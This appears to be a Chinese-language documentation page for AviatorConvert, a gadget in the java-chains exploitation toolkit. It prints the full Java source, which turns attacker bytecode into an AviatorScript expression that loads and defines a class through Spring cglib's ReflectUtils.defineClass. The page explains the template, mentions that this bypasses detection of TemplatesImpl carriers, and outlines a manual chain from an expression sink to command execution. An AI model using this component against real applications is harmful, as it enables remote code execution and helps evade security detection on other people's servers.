- 类别:common 别名:— 优先级:—
- 作者:ReaJason
- 依赖:
Aviator(表达式引擎)、spring(提供 cglib 的ReflectUtils.defineClass与Base64Utils)
把下游产出的 byte[] 字节码,包装成一段 AviatorScript 表达式字符串。该表达式在被 Aviator 引擎求值时,会用 Spring cglib 的 ReflectUtils.defineClass(...) 把 Base64 解码后的字节码定义为类,实现字节码加载/执行。是「字节码 → 表达式字符串」的转换构件(Convert 型 sink 适配器)。
- 入口
tags:Aviator_Expr、ExpressionExpression—— 通用「表达式字符串」标签,表示本 gadget 产出可被表达式求值型上游消费。Aviator_Expr—— 特指 Aviator 语法的表达式,供专门以 Aviator 求值的上游 gadget 承接。
- 衔接
nextTags:BytecodeConvertTag—— 之后必须接一个提供byte[]字节码的 gadget(BytecodeConvert及其变体),本 gadget 消费它的字节码输出。 excludes:无。
@GadgetTags(tags={"Aviator_Expr", "Expression"}, nextTags={"BytecodeConvertTag"})
public class AviatorConvert implements Gadget {
public static String AviatorTemplate = "use org.springframework.cglib.core.*;use org.springframework.util.*;"
+ "ReflectUtils.defineClass('%s', Base64Utils.decodeFromString('%s'), "
+ "ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), "
+ "'getContextClassLoader', nil), Thread.currentThread()));";
private String getObject(byte[] bytecode, String className) {
String bytecodeB64 = Base64.encodeBase64String((byte[])bytecode);
return String.format(AviatorTemplate, className, bytecodeB64);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object bytecode = chain.doCreate(context); // 内层:byte[] 字节码
String className = context.getString(ContextTag.CLASS_NAME_KEY); // 要定义的类名(由链上下文注入)
return this.getObject((byte[])bytecode, className);
}
}AviatorTemplate是核心:它先use引入org.springframework.cglib.core.*与org.springframework.util.*,然后调用ReflectUtils.defineClass(className, decodedBytes, classLoader):- 第一个
%s填入目标类名; - 第二个
%s填入字节码的 Base64(用Base64Utils.decodeFromString在求值时解码); - classloader 通过
ClassUtils.getMethod(...)反射取当前线程的getContextClassLoader()得到——因为defineClass需要一个 ClassLoader 实例来承载新类。
- 第一个
getObject()把内层字节码Base64编码后String.format填入模板,返回一段可直接交给 Aviator 引擎执行的脚本字符串。invoke先chain.doCreate取内层byte[](通常来自BytecodeConvert包装的TemplatesImpl/Exec字节码),再从上下文CLASS_NAME_KEY取类名,产出最终表达式。
关键点:本 gadget 不执行字节码,只生成「一执行就会 defineClass 的 Aviator 脚本」;真正的求值由上游的 Aviator 表达式执行 sink 完成。依赖 Spring 在 classpath(用其 cglib 与 Base64Utils)。
本类无 @Param 可配参数;className 由链上下文 CLASS_NAME_KEY 注入,字节码由下游 BytecodeConvert 提供。
- 需目标环境同时具备 Aviator 表达式引擎与 Spring(复用其 cglib
ReflectUtils.defineClass与Base64Utils)。 - 走
ReflectUtils.defineClass定义类,绕过对TemplatesImpl/TransletsImpl等常规载体的检测。 - 属于 java-chains 的一类「表达式 Convert」构件(与
BcelConvert、GroovyConvert、SpelConvert等并列),统一把字节码适配到不同表达式/类加载 sink。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。手工组合思路:<Aviator 表达式求值 sink> → AviatorConvert → BytecodeConvert → Exec。
- 下游(
tags=BytecodeConvertTag):BytecodeConvert、BytecodeFromBase64、BytecodeFromHex、BytecodeFromLocalFile、BytecodeFromUploadFile - 上游:以 Aviator/表达式求值的 sink(消费
Aviator_Expr/Expression产物)。 - 同类 Convert 构件:BcelConvert、
GroovyConvert、SpelConvert、MvelConvert、ElConvert